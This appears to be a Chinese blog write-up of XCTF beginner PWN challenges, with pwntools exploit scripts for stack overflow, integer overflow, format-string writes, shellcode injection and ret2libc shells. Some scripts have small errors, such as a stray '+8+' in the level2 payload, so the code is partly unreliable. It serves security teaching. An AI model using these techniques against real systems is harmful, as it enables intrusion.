攻防世界PWN新手区WP

攻防世界PWN

  • get shell
  • when did you born
  • hello_pwn
  • level2
  • int_overflow
  • guess_num
    • 方法一
    • 方法二
  • level0
  • CGfsb
  • cgpwn2
  • string
    • sub_400D72
      • sub_400A7D
      • sub_400BB9
      • sub_400CA6((_DWORD *)a1)
  • level3
    • exp1(使用LibcSearcher)
    • exp2(不使用LibcSearcher)

get shell

nc + 地址
直接连接cat flag

when did you born

攻防世界PWN新手区WP_第1张图片
运行一遍,报错,段错误,栈溢出
拖进IDA
攻防世界PWN新手区WP_第2张图片
可以观察到当v5==1926的时候就会cat flag
但是当v5 == 1926 的时候又会报错
观察到这里还有一个v4而且是栈溢出的点
不妨点进去看一下
攻防世界PWN新手区WP_第3张图片
v4和v5都点了一遍后发现v4距离v5为8个字符,难怪会栈溢出
所以v5要等于1926又不能等于1926在这里就可以改变了
只需要把v4挤炸再填进去1926就可以了
但这里1926不能直接填的,要以16进制输入
于是

v4 = 'a'*8 + p64(0x786)
from pwn import*

r = process('./when_did_you_born')

r.recvuntil('h?')

r.sendline('nbb')

r.recvuntil('e?')

r.sendline('a'*8 + p32(0x786))

r.interactive()

hello_pwn

进去观察到与之前的when did you born 类型相似,(确实)

从未定义过这个dword那就点进去看一下

发现这次只相差四个!

所以就有

payload = '1234aaun'
或者 payload = 'a'*4 + p64(1853186401)

exp:

from pwn import*

r = process('./hello_pwn')

r.sendline('a'*4+p64(1853186401))

r.interactive()

level2

攻防世界PWN新手区WP_第4张图片
在IDA中可以看到,buf变量的大小为88,但是在read函数下却能将大小100的内容写入buf,所以会造成溢出
在这里插入图片描述
在IDA中找到system函数的地址0x08048320
在这里插入图片描述
并且还找到了"/bin/sh",这意味着我们可以直接利用溢出将返回地址跳转至system函数再压入参数"/bin/sh"执行系统命令来获得系统权限。
exp:

from pwn import *
r = process('./level2')

sys_addr = 0x08048320

binsh = 0x0804A024

payload = 'a'*0x88+'b'*4+8+p32(sys_addr)+p32(0)+p32(binsh)

r.send(payload)

r.interactive()

int_overflow

用IDA查看代码时很快就在check_passwd函数中发现了高危函数strcpy(),说明可能存在栈溢出利用
攻防世界PWN新手区WP_第5张图片
而后又发现了非常明显的what_is_this函数,也就是说只要将某个函数的返回地址修改为what_is_this函数的地址就可以实现cat flag操作,很明显一定是前面的strcpy()所在的函数存在溢出风险
这里先记下这个函数的地址

flag_addr = 0x0804868b

在这里插入图片描述
在这里插入图片描述
反观前面,在输入passwd的地方可以看到,允许输入的passwd长度高达0x199,即十进制里的409,不难看出,输入的passwd的长度存放在v3中,而v3的类型为unsigned _int8,即8位无符号整数,最大值为255。
攻防世界PWN新手区WP_第6张图片

PS:从别的WP中发现可以从汇编代码中得知v3的长度为一个字节(即8位)
攻防世界PWN新手区WP_第7张图片
IDA中的汇编,倒数第三行可以看到mov [ebp+var_9], al
这里的[ebp+var_9]从前后文可以得出就是v3,而这里的al代表一个8位寄存器,所以v3的大小为一个字节也就由此得出
这里贴一个关于寄存器介绍的文章:寄存器

在check_passwd函数中发现v3的取值区间为[3,8),但如果仅仅是这点长度肯定不能造成溢出,因为拷贝的目标参数dest有0x14的空间,绝对压不到返回地址,所以这里还要利用另一个漏洞,即整数溢出(如这道题的名字)
攻防世界PWN新手区WP_第8张图片
这里先介绍一下自己对整数溢出的认知,这里借用一下《C++ Primer Plus》(没有打广告,真的是一本好书)里的一张图,可以看到,过大或过小都会导致“重置”
攻防世界PWN新手区WP_第9张图片
这里给出一个例子:

#include
#include
using namespace std;
int main(){
	int a;
	a = INT_MAX;//INT_MAX就是获取int类型最大的意思,包含在climits头文件中
	cout<<a<<endl;
}

攻防世界PWN新手区WP_第10张图片
输出很正常
当我们把a的值+1后

#include
#include
using namespace std;
int main(){
	int a;
	a = INT_MAX+1;//INT_MAX就是获取int类型最大的意思,包含在climits头文件中
	cout<<a<<endl;
}

攻防世界PWN新手区WP_第11张图片
在linux环境下,编译器会提醒溢出,但仍然会输出a的值。
再回到题目这里,v3的最大值为255且为无符号整数,所以当s长度为256时v3=0
并且前面说过s的长度最大可以为409,所以我们输入的s长度在[3,8)区间内与在[259,264)区间内v3的值是一样的,既然大部分人都挑了262,我就挑个261叭

payload = 'a'*0x14 + p32(flag_addr)  
经过上面的分析,后面这两部分是payload必须要有的

在后来pwn的过程中发现,仅仅压入14个a并不能占用返回地址,于是在IDA中再次寻找答案
攻防世界PWN新手区WP_第12张图片
点击dest参数,可以观察到栈的结构,用数轴来理解,dest与r之间的距离除了0x14,还有一段0x4

PS:不太确定一件事,IDA中这里的 r 貌似代表return的意思
不过通过读汇编也可以寻找到这0x4的长度

攻防世界PWN新手区WP_第13张图片

在return之前还有一个leave操作。
这里引用一下攻防世界中For的WP中的一段话:
“在字符串拷贝之前,先把拷贝的源地址和目的地址压入堆栈,这里似乎没有任何
问题,查看整个函数的汇编代码,就会发现,在函数最开始,压入了 ebp 变量,
在函数结尾,存在一条 leave 指令,而在 32 位程序中,leave 指令等于 mov esp,ebp
和 pop ebp 两条指令的组合,也就是说,在覆盖函数放回地址之前,还有一次出
栈操作,出栈数据大小 4 字节,即覆盖之前还需将这 4 字节覆盖”

紧接着就要将payload填充到261位(259-263之间任选一个),根据入栈顺序,应该将填充的字符放在后面
这里有两种方法进行填充:
一、计算

payload = 'a'*0x14 + 'a'*4 + p32(flag_addr) + 'a'*(261-0x14-4-4)

二、利用python自带的ljust方法

payload = 'a'*0x14 + 'a'*4 + p32(flag_addr)
payload = payload.ljust(261,'a')

因此我们可以得出exp:

#coding=utf-8
#当你的exp中有中文注释的时候记得加上面这句话来指定编码
from pwn import*
r = process('./int_overflow')
#这里如果直接写process可能会出现错误提示:没有flag那个文件
#我习惯在题目文件目录下自己写一个flag文件,这样就能避免一些错误提示

#r = remote('Address',port)
flag_addr = 0x804868b

payload = 'a'*0x14  +'a'*4 +  p32(flag_addr)

payload = payload.ljust(263,'a')
#或者payload = 'a'*0x14  +'a'*4 + p32(flag_addr) + 'a'*(261-0x14-4-4)
#flag_addr占四个字节
r.sendlineafter("choice:","1")

r.sendlineafter("username:","user")

r.sendlineafter("passwd:",payload)

r.interactive()

guess_num

方法一

关于这题,在做之前我觉得需要了解一下C语言随机数的知识(本质是伪随机数):C语言随机数生成教程,C语言rand和srand用法详解
看完这篇文章之后对C语言随机数就应该有大致了解了
回到题目:
攻防世界PWN新手区WP_第14张图片
攻防世界PWN新手区WP_第15张图片
通过阅读main函数和sub_C3E函数的内容我们可以知道,只要你能10次都猜中所谓的随机数,则能直接cat flag,但中间哪怕出错一次都会GG.
通过现有的对随机数的了解,只要我们能控制随机数的种子(srand),我们就能明确的知道接下来是哪些随机数。

在这里插入图片描述
在这里插入图片描述
通过这两段代码我们可以知道一件事,只要名字(也就是v7)够长,我们就能将seed覆盖,v7可容长度为0x20,也就是32个字符串,超出32个就是seed的内容,因此,在name输入时我们可以先输入32个字符填充,再输入我们想要的seed,不过这里的seed需要注意长度,注意到下一个参数与seed之间的长度为8,我们需要将这段长度全部填满,(由于如果仅填充1位,那接下来的7位对于我们来说是未知的,所以全部填入我们就能完全控制seed)
不妨将seed设置为1111
为了得到随机数是多少,我们可以先自己写一段C代码(注意:以下代码必须是在Linux环境下,Windows环境下得到的结果与Linux不同。经测试,在三个不同的Linux操作系统(Ubuntu,centos,kali)所得到的结果是一样的)

#include
#include
int main(){
	int a, i;
	srand(0x31313131);//由于当要求我们输入name时输入的为字符串的1,所以这里以“1111”的内码即0x31313131传递seed
	for(i=0;i<10;i++){
		a=rand()%6+1;
		printf("%d\n",a);
	}
	return 0;
}

攻防世界PWN新手区WP_第16张图片
产生了10个随机数1,3,4,2,3,5,3,6,2,1
我们来测试一下结果是否如我们所愿
攻防世界PWN新手区WP_第17张图片
输入name时,先输入32个a填充v7,再输入4个1填充seed
经过本地测试,这个方法确实能过关(这里的flag是我自己写的一个文件,不是原题的flag,由于攻防世界中每个人获取到的在线场景不同,得到的flag也不同,切莫直接拿别人的flag提交,会出错)
攻防世界PWN新手区WP_第18张图片
远程场景测试成功,拿到flag(注意,每个人的flag可能不一样)

方法二

这题也同样可以写脚本
先使用命令ldd查询一下绑定的libc文件
在这里插入图片描述
然后导入ctypes包就能python和C混合编程

from pwn import*
from ctypes import*
r = process('./guess_num')
payload = 'a'*0x20 + p64(1)
r.sendlineafter('name:', payload)
libc = cdll.LoadLibrary('./libc.so.6')
libc.srand(1)
for i in range(10):
    a = str(libc.rand()%6+1)
    r.sendlineafter('number:',a)
r.interactive()

level0

下载文件用ida打开,发现溢出点已经帮我们标好了
在这里插入图片描述
攻防世界PWN新手区WP_第19张图片
观察这个函数,无非就是read函数造成栈溢出,理由:buf变量只能容纳0x80的量,但是read能读取0x200的长度,由此可造成栈溢出。
首先payload要包含以下内容:

paylaod = 'a'*0x80

在这里插入图片描述
双击一下buf,在末尾可以看到,栈底距离返回地址还有0x8的长度,由此

payload = 'a' * 0x80 + 'a' * 8

此外,源程序中还包含callsystem函数,可以直接获得控制权
在这里插入图片描述
所以可以得到

sys_addr = 0x400596

因为程序为64位,由此

payload = 'a' * 0x80 + 'a' * 8 + p64(sys_addr) 

完整的exp:

#coding=utf-8
from pwn import*

r = remote('111.198.29.45', 44584)#请将这里改为自己申请到的地址及端口
sys_addr = 0x400596
payload = 'a' * 0x80 + 'a' * 8+ p64(sys_addr)
r.sendline(payload)
r.interactive()

CGfsb

做这题之前要了解一下格式化字符串漏洞
CTFWIKI上讲得挺详细的,建议看一下。
以及i春秋上的格式化字符串漏洞

回到题目:
攻防世界PWN新手区WP_第20张图片
发现只要pwnme = 8时就可以cat flag了,但是明显可以看到这里没有栈溢出的漏洞让我们利用,但是有明显的格式化字符串漏洞:
在这里插入图片描述
通过在message输入(X大小写无所谓)

AAAA %x %x %x %x %X %X %x %X %X %X

可以输出s最后在栈中的偏移量为10(s为第11)
攻防世界PWN新手区WP_第21张图片

这里我们要用到不常用的一个printf的参数%n,首先%n得功效如下:攻防世界PWN新手区WP_第22张图片
将前面已打印的字符个数输入到后面的变量中,可以看到后面的参数为&a,即a的地址。

所以如果我们构造成这样printf(“aaaaaaaa%n”,&pwnme)(这里的a只是一个形式,并不是说内容一定要是a)
得到的结果就能是pwnme=8
但是这里只有一个printf(&s)让我们利用
这里就要用到另一种方式printf(“aaaaaaaa%10$n”)
解释一下:这样的写法会将8写入到栈的第11号位置所存的地址,本题中就是s中内容所代表的地址,所以如果s的内容是pwnme的地址那pwnme也能变成8
可以在IDA中找到pwnme的地址为0x0804A068
所以

pwnme = 0x0804A068
payload = p32(pwnme) + 'aaaa%10$n'

p32将地址转化为4个字节,再加上后面的4个a刚好变成8,且此时pwnme的地址就放在s中所以这个8能刚好放入pwnme中
exp:

from pwn import *
r = process('./cgfsb')
#远程用remote
r.recvuntil("please tell me your name:")
r.send("hh")
r.recvuntil("leave your message please:")
pwnme = 0x0804A068
payload = p32(pwnme)+"aaaa%10$n"
r.send(payload) 
r.interactive()

cgpwn2

下载题目后,最吸引人的应该是三个函数main,hello,pwn
在这里插入图片描述
其中main调用了hello函数,pwn调用了system函数,那最主要的就是分析hello函数了。
hello上面的内容不太需要读得懂,只需要看懂下面的内容就可以了,无非就是留名字,留信息,老套路了。

在这里插入图片描述
双击fgets中的name参数(因为我发现在hello中没有找到定义这个参数的地方),发现name是一个处于bss段长度为52的全局变量,bss段具有rw权限(即可读可写,rwx分别代表可读可写可执行)
在这里插入图片描述
而后又发现了危险函数gets,这里存在栈溢出,按照惯例将栈溢出的返回地址覆盖为system的地址就可以了,但是我们发现这个system并没有其他参数,pwn函数中的echo hehehe(打印hehehe)显然不是我们想要的,那么就需要我们自己写入系统命令了,通常来讲都需要写入"/bin/sh"来获得控制权限
恰好,前面的name变量就可以让我们写入这个"/bin/sh"

r.sendlineafter("please tell me your name", "/bin/sh")

现在name的值就是"/bin/sh"了,那么需要用system函数来执行,前面看到存在栈溢出,所以要利用起来。s的长度为0x26,由栈结构知再覆盖4位到达返回地址
攻防世界PWN新手区WP_第23张图片
看一下system函数的地址以及刚刚写入"/bin/sh"的name的地址
在这里插入图片描述
在这里插入图片描述

binsh = 0x0804a080
sys_addr = 0x08048420
payload = 'a'*0x26 + 'a'*4 + p32(sys_addr) + p32(0xdeadbeef) + p32(binsh)
//调用system函数后后面紧接着的是它的返回地址,这里我们随便写没必要,甚至可以
//将p32(0xdeadbeef)写成"aaaa"都行,因为是32位程序,所以要保证
//返回地址为四个字节,返回地址后面跟着的是system的参数,这里就是name的地址

exp:

#coding=utf-8
from pwn import*
r = process('./cgpwn2')
#r = remote('自己申请到的地址',端口)
r.sendlineafter('name', '/bin/sh')
binsh = 0x0804A080
sys_addr = 0x08048420
payload = 'a'*0x26 + 'a'*4 + p32(sys_addr) + p32(0xdeadbeef) + p32(binsh)
r.sendlineafter('here:', payload)
r.interactive()

攻防世界PWN新手区WP_第24张图片
当然,你也没必要将system的参数一定要写成"/bin/sh",既然是系统命令,直接写"cat flag"都行,效果如下:
攻防世界PWN新手区WP_第25张图片

string

新手区最有意思的一道题(因为有图有故事~)
同时,我自己也花了很久才基本弄懂这道题
这里带没看懂题目像我一样的萌新们走一遍这个故事的流程,先看main函数:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _DWORD *v3; // rax
  __int64 v4; // ST18_8

  setbuf(stdout, 0LL);
  alarm(0x3Cu);
  sub_400996();
  v3 = malloc(8uLL);
  //给v3申请长度为8的空间
  v4 = (__int64)v3;
  //由前面的对v3的定义得v3是一个指针,所以这里的v4为地址
  *v3 = 68;
  //用数组可以理解为v4[0] = 68
  v3[1] = 85;
  //其实也是v4[1] = 85
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4, a2);
  //这里的secret[0]为v4[0]的地址
  printf("secret[1] is %x\n", v4 + 4);
  //这里的secret[1]为v4[1]的地址
  puts("do not tell anyone ");
  sub_400D72(v4);
  //这里进入正式游戏,    **注意该函数的参数是v4**
  puts("The End.....Really?");
  return 0LL;
}

进入sub_400D72:

sub_400D72

unsigned __int64 __fastcall sub_400D72(__int64 a1)
//这里的a1就是v4
{
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What should your character's name be:");
  _isoc99_scanf("%s", &s);
  //随便输一个名字吧,但长度要小于12没啥漏洞
  if ( strlen(&s) <= 0xC )
  {
    puts("Creating a new player.");
    sub_400A7D();
    sub_400BB9();
    sub_400CA6((_DWORD *)a1);
    //这里最主要的就是这三个函数。下面进行逐个阅读分析
  }
  else
  {
    puts("Hei! What's up!");
  }
  return __readfsqword(0x28u) ^ v3;
}

sub_400A7D

unsigned __int64 sub_400A7D()
{
  char s1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(" This is a famous but quite unusual inn. The air is fresh and the");
  puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
  puts("furniture looks undamaged by brawls, which are very common in other pubs");
  puts("all around the world. The decoration looks extremely valuable and would fit");
  puts("into a palace, but in this city it's quite ordinary. In the middle of the");
  puts("room are velvet covered chairs and benches, which surround large oaken");
  puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
  puts("one corner you notice a fireplace.");
  puts("There are two obvious exits: east, up.");
  puts("But strange thing is ,no one there.");
  puts("So, where you will go?east or up?:");
  //上面为故事背景,英语不好也可以不看,最后给出一个选择east or up?
  while ( 1 )
  //while(1),如果没有break将无限循环
  {
    _isoc99_scanf("%s", &s1);
    if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") )
      break;
    //strcmp()函数,当两个字符串相同时,返回值为0,(!0 = 1),所以上面的选择必须是east
    puts("hei! I'm secious!");
    puts("So, where you will go?:");
  }
  //下面的代码可能是出题者原本想放进while(1)循环里的
  //但是不小心写外面了,因为能从死循环里出来s1必须是east
  //那么下面的if肯定不成立,所以这里不用管下面的内容
  //PS:其实下面的内容还挺有趣的
  if ( strcmp(&s1, "east") )
  {
    if ( !strcmp(&s1, "up") )
      sub_4009DD();
    puts("YOU KNOW WHAT YOU DO?");
    exit(0);
  }
  return __readfsqword(0x28u) ^ v2;
  //__readfsqword(0x28u)在上面可以看到就是v2
  //所以这里是花里胡哨的return 0
  //返回到sub_400D72
}

出了sub_400A7D,紧接着进入sub_400BB9

sub_400BB9

unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch]
  __int64 v2; // [rsp+8h] [rbp-78h]
  char format; // [rsp+10h] [rbp-70h]
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(40u);
  v2 = 0LL;
  puts("You travel a short distance east.That's odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf("%d", &v1);
  //进入这个函数相信了解一点格式化字符串的都能发现漏洞
  if ( v1 == 1 )
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'");
    _isoc99_scanf("%ld", &v2);
    //输入一个地址
    puts("And, you wish is:");
    _isoc99_scanf("%s", &format);
    puts("Your wish is");
    printf(&format, &format);
    //格式化字符串漏洞,先记好位置,应该用得到
    puts("I hear it, I hear it....");
  }
  return __readfsqword(40u) ^ v4;
}

紧接着进入sub_400CA6((_DWORD *)a1)

sub_400CA6((_DWORD *)a1)

由前面可以知道a1就是v4

unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
  void *v1; // rsi
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
  puts("Dragon say: HaHa! you were supposed to have a normal");
  puts("RPG game, but I have changed it! you have no weapon and ");
  puts("skill! you could not defeat me !");
  puts("That's sound terrible! you meet final boss!but you level is ONE!");
  if ( *a1 == a1[1] )
  //*a1 = *v4 = v4[0] = 68
  //a1[1] = v4[1] = 85
  //下面的将v1转化为函数指针
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);
    ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
  }
  return __readfsqword(0x28u) ^ v3;
}

相信不少人看WP时都会疑惑
什么是函数指针?

首先要知道:函数的本质是一段可执行性代码段。函数名,则是指向这段代码段的首地址。
而函数指针就是指向这个首地址的指针,调用函数指针就是调用该函数,举个简单的例子:

#include
void print(){
	printf("Hello world");
}

int main(){
	void (*a)() = print;
	a();
}

攻防世界PWN新手区WP_第26张图片
所以我们可以利用函数指针来调用系统函数system("/bin/sh")来获取控制权限,前面也说过函数的本质是一段可执行性代码段,system("/bin/sh")并不能被函数指针所理解,这里应该转化成机器码,用asm(shellcraft.sh())

	if ( *a1 == a1[1] )
	//*a1 = *v4 = v4[0] = 68
   //a1[1] = v4[1] = 85
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);
    ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
  }
  return __readfsqword(0x28u) ^ v3;
}

由条件得:只需要将v3[0] = 85或者v3[1] = 68就可以调用函数了
到这里是不是就很熟悉了,当初我们做过一题CGfsb格式化字符串的题目,只需要将pwnme = 8就能cat flag
把这题讲透了这两题本质其实一样
接下来是利用格式化字符串来给其中一个变量赋值了
回到格式化字符串漏洞这

if ( v1 == 1 )
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'");
    _isoc99_scanf("%ld", &v2);
    //输入一个地址
    puts("And, you wish is:");
    _isoc99_scanf("%s", &format);
    puts("Your wish is");
    printf(&format, &format);
    //格式化字符串漏洞,先记好位置,应该用得到
    puts("I hear it, I hear it....");
  }
  return __readfsqword(40u) ^ v4;
}

因为听不懂别人说的“前六个参数放寄存器,第七个参数开始放在栈中所以偏移量是7”,我选择自己找偏移量,找的方法和原来做CGfsb时一样(x大小写无所谓)

AAAA-%x-%x-%x-%x-%X-%X-%x-%X-%X-%X

攻防世界PWN新手区WP_第27张图片
当初做到这里是我疑惑了很久,因为我看到有一篇WP将图中41414141这几个数圈起来,然后说偏移量是7 ,可是41414141明明是第9个参数,偏移量怎么就是7了?后来自己仔细思考了很久,最后才发现这个7的偏移量是v2的,也就是’Give me an address’让我们输入的东西,理由:我输入的内容为1111,转化为16进制刚好是457,数一数刚好位于上图中的第八个参数,所以偏移量才是7
在这里插入图片描述
所以,我们只需要将v2这里写入v4[0]或v4[1]的地址就可以了
刚开始我想着运行一遍程序不就知道这两个的地址了吗?(这两个secret输出的就是地址),但是我发现每次运行的时候输出的地址都不一样,想了一下应该是malloc(动态内存分配,随机性比较大)搞的鬼
在这里插入图片描述
但是没关系,在每一遍单独运行时这个地址是固定的,
所以我们将接收到的地址存起来就好了

r.recvuntil('secret[0] is ')
v4_0_addr = int(r.recvuntil('\n')[:-1], 16)

[:-1]的意思就是从保留倒数第二个字符开始往前的所有字符,例:
在这里插入图片描述
这里不要最后一个字符的原因是最后一个字符为换行符’\n’
至此可以贴出完整的exp了:

#coding=utf-8
#exp1:将v4[0]改成85
from pwn import*
context(arch = 'amd64', os = 'linux')
r = process('./1')
#r = remote('address', port)
r.recvuntil('secret[0] is ')
v4_0_addr = int(r.recvuntil('\n')[:-1], 16)
r.sendlineafter("What should your character's name be:\n", "3nc0de")
r.sendlineafter("So, where you will go?east or up?:\n", "east")
r.sendlineafter("go into there(1), or leave(0)?:\n", "1")
r.sendlineafter("'Give me an address'", str(v4_0_addr))
#这里是一个比较坑的地方,输入v4[0]的地址的时候要以字符串形式
payload = 'A'*85 + "%7$n"
r.sendlineafter("And, you wish is:\n", payload)
shellcode = asm(shellcraft.sh())
r.sendline(shellcode)
r.interactive()

很多人说asm(shellcraft.sh())在这题没用是因为他们没有设置架构
context(arch = ‘amd64’, os = ‘linux’)
不太确定,貌似没有说明架构的话asm(shellcraft.sh())输出的是i386(即32位)的机器码?但是我们这个程序是64位的所以应该是amd64架构
一下是一些衍生的exp:

#coding=utf-8
#exp2:将v4[1]改成68
from pwn import*
context(arch = 'amd64', os = 'linux')
r = process('./1')
#r = remote('address', port)
r.recvuntil('secret[1] is ')
v4_1_addr = int(r.recvuntil('\n')[:-1], 16)
r.sendlineafter("What should your character's name be:\n", "3nc0de")
r.sendlineafter("So, where you will go?east or up?:\n", "east")
r.sendlineafter("go into there(1), or leave(0)?:\n", "1")
r.sendlineafter("'Give me an address'", str(v4_1_addr))
#这里是一个比较坑的地方,输入v4[0]的地址的时候要以字符串形式
payload = 'A'*68 + "%7$n"
r.sendlineafter("And, you wish is:\n", payload)
shellcode = asm(shellcraft.sh())
r.sendline(shellcode)
r.interactive()

level3

无system函数,有read和write函数典型的ret2libc题型,参考CTFwiki中的ret2libc-例3

思路1:通过read函数的栈溢出返回到write函数,利用write函数写出__libc_start_main在got表中的位置,利用LibcSearcher工具查找到相应的libc库,从而得到基地址

exp1(使用LibcSearcher)

from pwn import*
from LibcSearcher import LibcSearcher

r=process('./level3')
#r=remote('111.198.29.45',32201)

elf=ELF('./level3')

write_plt = elf.plt['write']
libc_start_main_got = elf.got['__libc_start_main']
vuln = 0x0804844b

r.recvline()
payload1 = 'a'*140 +p32(write_plt) + p32(vuln) + p32(1) + p32(libc_start_main_got) + p32(4)
r.sendline(payload1)
libc_start_main_addr = u32(r.recv()[0:4])

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
payload2 = flat(['a'*140, system, 0xdeadbeef, binsh])
r.sendline(payload2)
r.interactive()

思路2:由于题目提供了libc库,就不必用LibcSearcher工具查找libc了,这次我泄露的是write在got表中的位置,原理是一样的

exp2(不使用LibcSearcher)

from pwn import*

#r=process('./level3')
r = remote('159.138.137.79', 63231)
elf=ELF('./level3')

write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']

r.recvline()
payload1 = 'a'*140 +p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
r.sendline(payload1)
write_got_addr = u32(r.recv()[0:4])

libc = ELF('./libc_32.so.6')
libcbase = write_got_addr - libc.sym['write']

system = libcbase + libc.sym['system']

binsh = libc.search("/bin/sh").next() + libcbase
payload2 = flat(['a'*140, system, 0xdeadbeef, binsh])

#r.recvuntil(':\n')
r.sendline(payload2)
r.interactive()

你可能感兴趣的:(CTF,攻防世界)